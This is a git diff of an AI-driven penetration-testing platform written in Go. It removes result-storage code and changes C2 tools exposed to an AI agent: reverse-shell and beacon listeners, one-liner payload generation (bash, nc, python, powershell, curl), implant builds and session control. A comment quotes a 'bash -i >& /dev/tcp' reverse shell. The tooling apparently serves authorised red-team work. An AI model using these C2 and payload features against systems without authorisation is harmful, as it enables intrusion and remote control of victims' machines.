||||||
|
|
||||||
// 设置阈值
|
|
||||||
agent.mu.Lock()
|
|
||||||
agent.largeResultThreshold = 1000 // 设置较小的阈值
|
|
||||||
agent.mu.Unlock()
|
|
||||||
|
|
||||||
// 创建执行ID
|
|
||||||
executionID := "test_exec_large_001"
|
|
||||||
toolName := "test_tool"
|
|
||||||
|
|
||||||
// 格式化结果
|
|
||||||
var resultText strings.Builder
|
|
||||||
for _, content := range largeResult.Content {
|
|
||||||
resultText.WriteString(content.Text)
|
|
||||||
resultText.WriteString("\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
resultStr := resultText.String()
|
|
||||||
resultSize := len(resultStr)
|
|
||||||
|
|
||||||
// 检测大结果并保存
|
|
||||||
agent.mu.RLock()
|
|
||||||
threshold := agent.largeResultThreshold
|
|
||||||
storage := agent.resultStorage
|
|
||||||
agent.mu.RUnlock()
|
|
||||||
|
|
||||||
if resultSize > threshold && storage != nil {
|
|
||||||
// 保存大结果
|
|
||||||
err := storage.SaveResult(executionID, toolName, resultStr)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("保存大结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 生成通知
|
|
||||||
lines := strings.Split(resultStr, "\n")
|
|
||||||
filePath := storage.GetResultPath(executionID)
|
|
||||||
notification := agent.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
|
|
||||||
|
|
||||||
// 验证通知格式
|
|
||||||
if !strings.Contains(notification, executionID) {
|
|
||||||
t.Errorf("通知中应该包含执行ID")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证结果已保存
|
|
||||||
savedResult, err := storage.GetResult(executionID)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("获取保存的结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if savedResult != resultStr {
|
|
||||||
t.Errorf("保存的结果与原始结果不匹配")
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
t.Fatal("大结果应该被检测到并保存")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAgent_ExecuteToolViaMCP_SmallResult(t *testing.T) {
|
|
||||||
agent, _ := setupTestAgent(t)
|
|
||||||
|
|
||||||
// 创建小结果
|
|
||||||
smallResult := &mcp.ToolResult{
|
|
||||||
Content: []mcp.Content{
|
|
||||||
{
|
|
||||||
Type: "text",
|
|
||||||
Text: "Small result content",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
IsError: false,
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置较大的阈值
|
|
||||||
agent.mu.Lock()
|
|
||||||
agent.largeResultThreshold = 100000 // 100KB
|
|
||||||
agent.mu.Unlock()
|
|
||||||
|
|
||||||
// 格式化结果
|
|
||||||
var resultText strings.Builder
|
|
||||||
for _, content := range smallResult.Content {
|
|
||||||
resultText.WriteString(content.Text)
|
|
||||||
resultText.WriteString("\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
resultStr := resultText.String()
|
|
||||||
resultSize := len(resultStr)
|
|
||||||
|
|
||||||
// 检测大结果
|
|
||||||
agent.mu.RLock()
|
|
||||||
threshold := agent.largeResultThreshold
|
|
||||||
storage := agent.resultStorage
|
|
||||||
agent.mu.RUnlock()
|
|
||||||
|
|
||||||
if resultSize > threshold && storage != nil {
|
|
||||||
t.Fatal("小结果不应该被保存")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 小结果应该直接返回
|
|
||||||
if resultSize <= threshold {
|
|
||||||
// 这是预期的行为
|
|
||||||
if resultStr == "" {
|
|
||||||
t.Fatal("小结果应该直接返回,不应该为空")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAgent_SetResultStorage(t *testing.T) {
|
|
||||||
agent, _ := setupTestAgent(t)
|
|
||||||
|
|
||||||
// 创建新的存储
|
|
||||||
tmpDir := filepath.Join(os.TempDir(), "test_new_storage_"+time.Now().Format("20060102_150405"))
|
|
||||||
newStorage, err := storage.NewFileResultStorage(tmpDir, zap.NewNop())
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("创建新存储失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置新存储
|
|
||||||
agent.SetResultStorage(newStorage)
|
|
||||||
|
|
||||||
// 验证存储已更新
|
|
||||||
agent.mu.RLock()
|
|
||||||
currentStorage := agent.resultStorage
|
|
||||||
agent.mu.RUnlock()
|
|
||||||
|
|
||||||
if currentStorage != newStorage {
|
|
||||||
t.Fatal("存储未正确更新")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 清理
|
|
||||||
os.RemoveAll(tmpDir)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAgent_NewAgent_DefaultValues(t *testing.T) {
|
func TestAgent_NewAgent_DefaultValues(t *testing.T) {
|
||||||
@@ -243,14 +43,6 @@ func TestAgent_NewAgent_DefaultValues(t *testing.T) {
|
|||||||
if agent.maxIterations != 30 {
|
if agent.maxIterations != 30 {
|
||||||
t.Errorf("默认迭代次数不匹配。期望: 30, 实际: %d", agent.maxIterations)
|
t.Errorf("默认迭代次数不匹配。期望: 30, 实际: %d", agent.maxIterations)
|
||||||
}
|
}
|
||||||
|
|
||||||
agent.mu.RLock()
|
|
||||||
threshold := agent.largeResultThreshold
|
|
||||||
agent.mu.RUnlock()
|
|
||||||
|
|
||||||
if threshold != 50*1024 {
|
|
||||||
t.Errorf("默认阈值不匹配。期望: %d, 实际: %d", 50*1024, threshold)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAgent_NewAgent_CustomConfig(t *testing.T) {
|
func TestAgent_NewAgent_CustomConfig(t *testing.T) {
|
||||||
@@ -264,9 +56,7 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
agentCfg := &config.AgentConfig{
|
agentCfg := &config.AgentConfig{
|
||||||
MaxIterations: 20,
|
MaxIterations: 20,
|
||||||
LargeResultThreshold: 100 * 1024, // 100KB
|
|
||||||
ResultStorageDir: "custom_tmp",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 15)
|
agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 15)
|
||||||
@@ -274,12 +64,4 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
|
|||||||
if agent.maxIterations != 15 {
|
if agent.maxIterations != 15 {
|
||||||
t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
|
t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
|
||||||
}
|
}
|
||||||
|
|
||||||
agent.mu.RLock()
|
|
||||||
threshold := agent.largeResultThreshold
|
|
||||||
agent.mu.RUnlock()
|
|
||||||
|
|
||||||
if threshold != 100*1024 {
|
|
||||||
t.Errorf("阈值不匹配。期望: %d, 实际: %d", 100*1024, threshold)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-25
@@ -28,7 +28,6 @@ import (
|
|||||||
"cyberstrike-ai/internal/robot"
|
"cyberstrike-ai/internal/robot"
|
||||||
"cyberstrike-ai/internal/security"
|
"cyberstrike-ai/internal/security"
|
||||||
"cyberstrike-ai/internal/skillpackage"
|
"cyberstrike-ai/internal/skillpackage"
|
||||||
"cyberstrike-ai/internal/storage"
|
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
@@ -130,23 +129,6 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
|||||||
externalMCPMgr.StartAllEnabled()
|
externalMCPMgr.StartAllEnabled()
|
||||||
}
|
}
|
||||||
|
|
||||||
// 初始化结果存储
|
|
||||||
resultStorageDir := "tmp"
|
|
||||||
if cfg.Agent.ResultStorageDir != "" {
|
|
||||||
resultStorageDir = cfg.Agent.ResultStorageDir
|
|
||||||
}
|
|
||||||
|
|
||||||
// 确保存储目录存在
|
|
||||||
if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
|
|
||||||
return nil, fmt.Errorf("创建结果存储目录失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建结果存储实例
|
|
||||||
resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("初始化结果存储失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建Agent
|
// 创建Agent
|
||||||
maxIterations := cfg.Agent.MaxIterations
|
maxIterations := cfg.Agent.MaxIterations
|
||||||
if maxIterations <= 0 {
|
if maxIterations <= 0 {
|
||||||
@@ -155,12 +137,6 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
|||||||
agent := agent.NewAgent(&cfg.OpenAI, &cfg.Agent, mcpServer, externalMCPMgr, log.Logger, maxIterations)
|
agent := agent.NewAgent(&cfg.OpenAI, &cfg.Agent, mcpServer, externalMCPMgr, log.Logger, maxIterations)
|
||||||
agent.UpdateToolDescriptionMode(cfg.Security.ToolDescriptionMode)
|
agent.UpdateToolDescriptionMode(cfg.Security.ToolDescriptionMode)
|
||||||
|
|
||||||
// 设置结果存储到Agent
|
|
||||||
agent.SetResultStorage(resultStorage)
|
|
||||||
|
|
||||||
// 设置结果存储到Executor(用于查询工具)
|
|
||||||
executor.SetResultStorage(resultStorage)
|
|
||||||
|
|
||||||
// 初始化知识库模块(如果启用)
|
// 初始化知识库模块(如果启用)
|
||||||
var knowledgeManager *knowledge.Manager
|
var knowledgeManager *knowledge.Manager
|
||||||
var knowledgeRetriever *knowledge.Retriever
|
var knowledgeRetriever *knowledge.Retriever
|
||||||
@@ -394,7 +370,7 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
|||||||
conversationHandler.SetAudit(auditSvc)
|
conversationHandler.SetAudit(auditSvc)
|
||||||
auditHandler := handler.NewAuditHandler(db, auditSvc, log.Logger)
|
auditHandler := handler.NewAuditHandler(db, auditSvc, log.Logger)
|
||||||
robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger)
|
robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger)
|
||||||
openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, resultStorage, conversationHandler, agentHandler)
|
openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, conversationHandler, agentHandler)
|
||||||
|
|
||||||
// 创建 App 实例(部分字段稍后填充)
|
// 创建 App 实例(部分字段稍后填充)
|
||||||
app := &App{
|
app := &App{
|
||||||
@@ -900,6 +876,7 @@ func setupRoutes(
|
|||||||
protected.POST("/config/apply", configHandler.ApplyConfig)
|
protected.POST("/config/apply", configHandler.ApplyConfig)
|
||||||
protected.POST("/config/test-openai", configHandler.TestOpenAI)
|
protected.POST("/config/test-openai", configHandler.TestOpenAI)
|
||||||
protected.POST("/config/test-vision", configHandler.TestVision)
|
protected.POST("/config/test-vision", configHandler.TestVision)
|
||||||
|
protected.POST("/config/list-models", configHandler.ListModels)
|
||||||
|
|
||||||
// 系统设置 - 终端(执行命令,提高运维效率)
|
// 系统设置 - 终端(执行命令,提高运维效率)
|
||||||
protected.POST("/terminal/run", terminalHandler.RunCommand)
|
protected.POST("/terminal/run", terminalHandler.RunCommand)
|
||||||
@@ -1131,6 +1108,7 @@ func setupRoutes(
|
|||||||
c2Routes.POST("/listeners/:id/start", c2Handler.StartListener)
|
c2Routes.POST("/listeners/:id/start", c2Handler.StartListener)
|
||||||
c2Routes.POST("/listeners/:id/stop", c2Handler.StopListener)
|
c2Routes.POST("/listeners/:id/stop", c2Handler.StopListener)
|
||||||
c2Routes.GET("/sessions", c2Handler.ListSessions)
|
c2Routes.GET("/sessions", c2Handler.ListSessions)
|
||||||
|
c2Routes.DELETE("/sessions", c2Handler.DeleteSessions)
|
||||||
c2Routes.GET("/sessions/:id", c2Handler.GetSession)
|
c2Routes.GET("/sessions/:id", c2Handler.GetSession)
|
||||||
c2Routes.DELETE("/sessions/:id", c2Handler.DeleteSession)
|
c2Routes.DELETE("/sessions/:id", c2Handler.DeleteSession)
|
||||||
c2Routes.PUT("/sessions/:id/sleep", c2Handler.SetSessionSleep)
|
c2Routes.PUT("/sessions/:id/sleep", c2Handler.SetSessionSleep)
|
||||||
|
|||||||
@@ -61,6 +61,7 @@ func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webList
|
|||||||
- stop: 停止监听器(需 listener_id)
|
- stop: 停止监听器(需 listener_id)
|
||||||
- delete: 删除监听器(需 listener_id)
|
- delete: 删除监听器(需 listener_id)
|
||||||
监听器类型: tcp_reverse, http_beacon, https_beacon, websocket
|
监听器类型: tcp_reverse, http_beacon, https_beacon, websocket
|
||||||
|
tcp_reverse 默认仅接受 CSB1 加密 Beacon(AES-GCM + ImplantToken)才登记会话;经典 bash/nc 反弹需在 config.allow_legacy_shell=true(公网不推荐)。
|
||||||
端口约束:create/update 的 bind_port 禁止与本平台 Web/API 所用端口相同。当前本服务该端口为 %d(配置项 server.port,随进程启动从配置文件加载)。若 bind_port 与此相同会导致本服务或监听器 bind 失败、Beacon/oneliner 误连到 Web 而非 C2。请为监听器另选空闲端口。`, webListenPort),
|
端口约束:create/update 的 bind_port 禁止与本平台 Web/API 所用端口相同。当前本服务该端口为 %d(配置项 server.port,随进程启动从配置文件加载)。若 bind_port 与此相同会导致本服务或监听器 bind 失败、Beacon/oneliner 误连到 Web 而非 C2。请为监听器另选空闲端口。`, webListenPort),
|
||||||
InputSchema: map[string]interface{}{
|
InputSchema: map[string]interface{}{
|
||||||
"type": "object",
|
"type": "object",
|
||||||
@@ -74,7 +75,7 @@ func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webList
|
|||||||
"bind_port": map[string]interface{}{"type": "integer", "description": fmt.Sprintf("绑定端口(create 必填)。须 ≠ %d(当前本服务 Web/API 端口,配置 server.port)", webListenPort), "minimum": 1, "maximum": 65535},
|
"bind_port": map[string]interface{}{"type": "integer", "description": fmt.Sprintf("绑定端口(create 必填)。须 ≠ %d(当前本服务 Web/API 端口,配置 server.port)", webListenPort), "minimum": 1, "maximum": 65535},
|
||||||
"profile_id": map[string]interface{}{"type": "string", "description": "Malleable Profile ID"},
|
"profile_id": map[string]interface{}{"type": "string", "description": "Malleable Profile ID"},
|
||||||
"remark": map[string]interface{}{"type": "string", "description": "备注"},
|
"remark": map[string]interface{}{"type": "string", "description": "备注"},
|
||||||
"config": map[string]interface{}{"type": "object", "description": "高级配置(beacon 路径/TLS/OPSEC 等),create/update 可用"},
|
"config": map[string]interface{}{"type": "object", "description": "高级配置(beacon 路径/TLS/OPSEC 等),create/update 可用。tcp_reverse 可选 allow_legacy_shell:true 允许未加密经典 shell(默认 false)"},
|
||||||
},
|
},
|
||||||
"required": []string{"action"},
|
"required": []string{"action"},
|
||||||
},
|
},
|
||||||
@@ -222,20 +223,23 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
|||||||
s.RegisterTool(mcp.Tool{
|
s.RegisterTool(mcp.Tool{
|
||||||
Name: builtin.ToolC2Session,
|
Name: builtin.ToolC2Session,
|
||||||
Description: `C2 会话管理。通过 action 参数选择操作:
|
Description: `C2 会话管理。通过 action 参数选择操作:
|
||||||
- list: 列出会话(可按 listener_id/status/os/search 过滤)
|
- list: 列出会话(可按 listener_id/status/os/search/suspicious 过滤)
|
||||||
- get: 获取会话详情及最近任务历史(需 session_id)
|
- get: 获取会话详情及最近任务历史(需 session_id)
|
||||||
- set_sleep: 设置心跳间隔(需 session_id)
|
- set_sleep: 设置心跳间隔(需 session_id)
|
||||||
- kill: 下发 exit 任务让 implant 退出(需 session_id)
|
- kill: 下发 exit 任务让 implant 退出(需 session_id)
|
||||||
- delete: 删除会话记录(需 session_id)`,
|
- delete: 删除单个会话记录(需 session_id)
|
||||||
|
- delete_batch: 批量删除会话(需 session_ids 数组)`,
|
||||||
InputSchema: map[string]interface{}{
|
InputSchema: map[string]interface{}{
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"properties": map[string]interface{}{
|
"properties": map[string]interface{}{
|
||||||
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete", "enum": []string{"list", "get", "set_sleep", "kill", "delete"}},
|
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete/delete_batch", "enum": []string{"list", "get", "set_sleep", "kill", "delete", "delete_batch"}},
|
||||||
"session_id": map[string]interface{}{"type": "string", "description": "会话 ID(get/set_sleep/kill/delete 需要)"},
|
"session_id": map[string]interface{}{"type": "string", "description": "会话 ID(get/set_sleep/kill/delete 需要)"},
|
||||||
|
"session_ids": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "会话 ID 列表(delete_batch)"},
|
||||||
"listener_id": map[string]interface{}{"type": "string", "description": "按监听器过滤(list)"},
|
"listener_id": map[string]interface{}{"type": "string", "description": "按监听器过滤(list)"},
|
||||||
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: active/sleeping/dead/killed(list)"},
|
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: active/sleeping/dead/killed(list)"},
|
||||||
"os": map[string]interface{}{"type": "string", "description": "按 OS 过滤: linux/windows/darwin(list)"},
|
"os": map[string]interface{}{"type": "string", "description": "按 OS 过滤: linux/windows/darwin(list)"},
|
||||||
"search": map[string]interface{}{"type": "string", "description": "模糊搜索 hostname/username/IP(list)"},
|
"search": map[string]interface{}{"type": "string", "description": "模糊搜索 hostname/username/IP(list)"},
|
||||||
|
"suspicious": map[string]interface{}{"type": "boolean", "description": "仅疑似误报:离线且 tcp_* / unknown / PID 0(list)"},
|
||||||
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list)"},
|
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list)"},
|
||||||
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "心跳间隔秒数(set_sleep)"},
|
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "心跳间隔秒数(set_sleep)"},
|
||||||
"jitter_percent": map[string]interface{}{"type": "integer", "description": "抖动百分比 0-100(set_sleep)"},
|
"jitter_percent": map[string]interface{}{"type": "integer", "description": "抖动百分比 0-100(set_sleep)"},
|
||||||
@@ -257,6 +261,9 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
|||||||
if limit := int(getFloat64(params, "limit")); limit > 0 {
|
if limit := int(getFloat64(params, "limit")); limit > 0 {
|
||||||
filter.Limit = limit
|
filter.Limit = limit
|
||||||
}
|
}
|
||||||
|
if v, ok := params["suspicious"].(bool); ok && v {
|
||||||
|
filter.Suspicious = true
|
||||||
|
}
|
||||||
sessions, err := m.DB().ListC2Sessions(filter)
|
sessions, err := m.DB().ListC2Sessions(filter)
|
||||||
return makeC2Result(map[string]interface{}{"sessions": sessions, "count": len(sessions)}, err)
|
return makeC2Result(map[string]interface{}{"sessions": sessions, "count": len(sessions)}, err)
|
||||||
|
|
||||||
@@ -274,8 +281,16 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
|||||||
case "set_sleep":
|
case "set_sleep":
|
||||||
sleep := int(getFloat64(params, "sleep_seconds"))
|
sleep := int(getFloat64(params, "sleep_seconds"))
|
||||||
jitter := int(getFloat64(params, "jitter_percent"))
|
jitter := int(getFloat64(params, "jitter_percent"))
|
||||||
err := m.DB().SetC2SessionSleep(id, sleep, jitter)
|
task, err := m.SetSessionSleep(id, sleep, jitter)
|
||||||
return makeC2Result(map[string]interface{}{"updated": err == nil, "sleep_seconds": sleep, "jitter_percent": jitter}, err)
|
out := map[string]interface{}{
|
||||||
|
"updated": err == nil,
|
||||||
|
"sleep_seconds": sleep,
|
||||||
|
"jitter_percent": jitter,
|
||||||
|
}
|
||||||
|
if task != nil {
|
||||||
|
out["task_id"] = task.ID
|
||||||
|
}
|
||||||
|
return makeC2Result(out, err)
|
||||||
|
|
||||||
case "kill":
|
case "kill":
|
||||||
task, err := m.EnqueueTask(c2.EnqueueTaskInput{
|
task, err := m.EnqueueTask(c2.EnqueueTaskInput{
|
||||||
@@ -292,6 +307,17 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
|||||||
err := m.DB().DeleteC2Session(id)
|
err := m.DB().DeleteC2Session(id)
|
||||||
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
||||||
|
|
||||||
|
case "delete_batch":
|
||||||
|
rawIDs, _ := params["session_ids"].([]interface{})
|
||||||
|
ids := make([]string, 0, len(rawIDs))
|
||||||
|
for _, v := range rawIDs {
|
||||||
|
if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
|
||||||
|
ids = append(ids, strings.TrimSpace(s))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
n, err := m.DB().DeleteC2SessionsByIDs(ids)
|
||||||
|
return makeC2Result(map[string]interface{}{"deleted": n}, err)
|
||||||
|
|
||||||
default:
|
default:
|
||||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||||
}
|
}
|
||||||
@@ -491,11 +517,11 @@ func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListe
|
|||||||
Name: builtin.ToolC2Payload,
|
Name: builtin.ToolC2Payload,
|
||||||
Description: fmt.Sprintf(`C2 Payload 生成。通过 action 参数选择操作:
|
Description: fmt.Sprintf(`C2 Payload 生成。通过 action 参数选择操作:
|
||||||
- oneliner: 生成单行 payload。kind 必须与监听器协议一致,否则会失败:
|
- oneliner: 生成单行 payload。kind 必须与监听器协议一致,否则会失败:
|
||||||
• tcp_reverse:裸 TCP 反弹,可用 kind: bash, nc, nc_mkfifo, python, perl, powershell(bash 指 /dev/tcp 类,不是 HTTP)。
|
• tcp_reverse:默认仅支持 build 加密 Beacon;若监听器 config.allow_legacy_shell=true,才可用 kind: bash, nc, nc_mkfifo, python, perl, powershell。
|
||||||
• http_beacon / https_beacon / websocket:仅 HTTP(S) Beacon 轮询,oneliner 只能用 kind: curl_beacon(脚本内用 bash+curl,与「tcp 的 bash」不同)。curl_beacon 返回串末尾含「 &」用于把整个 bash -c 放后台;若用 exec/execute 同步执行,必须整段原样复制(含末尾 &)。若删掉 &,内部 while 死循环占满前台,调用会一直阻塞到超时/杀进程。
|
• http_beacon / https_beacon / websocket:仅 HTTP(S) Beacon 轮询,oneliner 只能用 kind: curl_beacon(脚本内用 bash+curl,与「tcp 的 bash」不同)。curl_beacon 返回串末尾含「 &」用于把整个 bash -c 放后台;若用 exec/execute 同步执行,必须整段原样复制(含末尾 &)。若删掉 &,内部 while 死循环占满前台,调用会一直阻塞到超时/杀进程。
|
||||||
• 需要经典 bash 反弹 shell 时:先 c2_listener create type=tcp_reverse,再对该监听器用 kind=bash。
|
• 公网部署 tcp_reverse 请用 build 生成加密 Beacon,勿开启 allow_legacy_shell。
|
||||||
• 省略 kind 时,会按监听器类型自动选第一个兼容类型(HTTP 系默认为 curl_beacon)。
|
• 省略 kind 时,会按监听器类型自动选第一个兼容类型(HTTP 系默认为 curl_beacon)。
|
||||||
- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reverse(tcp_reverse 下植入端回连后先发魔数 CSB1,再走与 HTTP 相同的 AES-GCM JSON 语义;未发魔数的连接仍按经典交互 shell 处理)。
|
- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reverse(tcp_reverse 植入端回连后先发魔数 CSB1,再经 AES-GCM 解密且校验 ImplantToken 后才登记会话)。
|
||||||
依赖的监听器 bind_port 须避开本服务 Web 端口 %d(配置 server.port,与 c2_listener 描述一致),否则 Beacon 无法正确回连。`, webListenPort),
|
依赖的监听器 bind_port 须避开本服务 Web 端口 %d(配置 server.port,与 c2_listener 描述一致),否则 Beacon 无法正确回连。`, webListenPort),
|
||||||
InputSchema: map[string]interface{}{
|
InputSchema: map[string]interface{}{
|
||||||
"type": "object",
|
"type": "object",
|
||||||
@@ -540,6 +566,9 @@ func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListe
|
|||||||
}
|
}
|
||||||
return makeC2Result(nil, fmt.Errorf("监听器类型 %s 不支持 %s,兼容类型: %v", listener.Type, kind, names))
|
return makeC2Result(nil, fmt.Errorf("监听器类型 %s 不支持 %s,兼容类型: %v", listener.Type, kind, names))
|
||||||
}
|
}
|
||||||
|
if err := c2.ValidateOnelinerForListener(listener, kind); err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
input := c2.OnelinerInput{
|
input := c2.OnelinerInput{
|
||||||
Kind: kind,
|
Kind: kind,
|
||||||
Host: host,
|
Host: host,
|
||||||
|
|||||||
@@ -293,8 +293,8 @@ func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, log
|
|||||||
},
|
},
|
||||||
"status": map[string]interface{}{
|
"status": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "按状态筛选:open、confirmed、fixed、false_positive",
|
"description": "按状态筛选:open、confirmed、fixed、false_positive、ignored",
|
||||||
"enum": []string{"open", "confirmed", "fixed", "false_positive"},
|
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||||
},
|
},
|
||||||
"q": map[string]interface{}{
|
"q": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
|
|||||||
@@ -20,10 +20,9 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// TCPReverseListener 监听 TCP 端口,等待目标机反弹连接。
|
// TCPReverseListener 监听 TCP 端口,等待目标机反弹连接。
|
||||||
// 经典模式:纯交互式 raw shell,与 nc / bash -i >& /dev/tcp 兼容。
|
// 默认仅接受加密 TCP Beacon:连接后先发送魔数 CSB1,再经 AES-GCM 解密且校验 ImplantToken 后才登记会话。
|
||||||
// 二进制 Beacon:连接后先发送魔数 CSB1,随后使用与 HTTP Beacon 相同的 AES-GCM JSON 语义(成帧见 tcp_beacon_server.go)。
|
// 可选经典模式(config.allow_legacy_shell=true):纯交互式 raw shell,与 nc / bash -i >& /dev/tcp 兼容,无鉴权,仅建议内网实验。
|
||||||
// 每个新连接自动生成一个 implant_uuid(基于远端地址 + 启动时间 hash),登记为 c2_session;
|
// 任务派发(经典模式):同步 exec —— 收到 task 时直接 send 命令字节并读取输出(带结束标记)。
|
||||||
// 任务派发:使用同步 exec 模式 —— 收到 task 时直接 send 命令字节并读取输出(带结束标记)。
|
|
||||||
type TCPReverseListener struct {
|
type TCPReverseListener struct {
|
||||||
rec *database.C2Listener
|
rec *database.C2Listener
|
||||||
cfg *ListenerConfig
|
cfg *ListenerConfig
|
||||||
@@ -122,12 +121,14 @@ func (l *TCPReverseListener) acceptLoop() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// handleConn 一个连接=一个会话:先识别二进制 TCP Beacon(魔数 CSB1),否则走经典交互式 shell。
|
// handleConn 先识别加密 TCP Beacon(魔数 CSB1 + AES-GCM + Token);未通过则按配置拒绝或走经典 shell。
|
||||||
func (l *TCPReverseListener) handleConn(conn net.Conn) {
|
func (l *TCPReverseListener) handleConn(conn net.Conn) {
|
||||||
br := bufio.NewReader(conn)
|
br := bufio.NewReader(conn)
|
||||||
_ = conn.SetReadDeadline(time.Now().Add(20 * time.Second))
|
remote := conn.RemoteAddr().String()
|
||||||
prefix, err := br.Peek(4)
|
|
||||||
if err == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic {
|
_ = conn.SetReadDeadline(time.Now().Add(tcpBeaconPeekTimeout))
|
||||||
|
prefix, peekErr := br.Peek(4)
|
||||||
|
if peekErr == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic {
|
||||||
if _, err := br.Discard(4); err != nil {
|
if _, err := br.Discard(4); err != nil {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
return
|
return
|
||||||
@@ -136,14 +137,22 @@ func (l *TCPReverseListener) handleConn(conn net.Conn) {
|
|||||||
l.handleTCPBeaconSession(conn, br)
|
l.handleTCPBeaconSession(conn, br)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if !l.cfg.AllowLegacyShell {
|
||||||
|
l.logger.Debug("tcp_reverse 拒绝未加密连接", zap.String("remote", remote))
|
||||||
|
_ = conn.Close()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
_ = conn.SetReadDeadline(time.Time{})
|
_ = conn.SetReadDeadline(time.Time{})
|
||||||
l.handleShellConn(conn, br)
|
l.handleShellConn(conn, br)
|
||||||
}
|
}
|
||||||
|
|
||||||
// handleShellConn 经典裸 TCP 反弹 shell(与 nc/bash /dev/tcp 兼容)。
|
// handleShellConn 经典裸 TCP 反弹 shell(与 nc/bash /dev/tcp 兼容);需监听器显式开启 allow_legacy_shell。
|
||||||
func (l *TCPReverseListener) handleShellConn(conn net.Conn, br *bufio.Reader) {
|
func (l *TCPReverseListener) handleShellConn(conn net.Conn, br *bufio.Reader) {
|
||||||
remote := conn.RemoteAddr().String()
|
remote := conn.RemoteAddr().String()
|
||||||
host, _, _ := net.SplitHostPort(remote)
|
host, _, _ := net.SplitHostPort(remote)
|
||||||
|
|
||||||
// 用 listener+remote_ip 生成稳定 implant_uuid,使同一来源的重连复用同一会话
|
// 用 listener+remote_ip 生成稳定 implant_uuid,使同一来源的重连复用同一会话
|
||||||
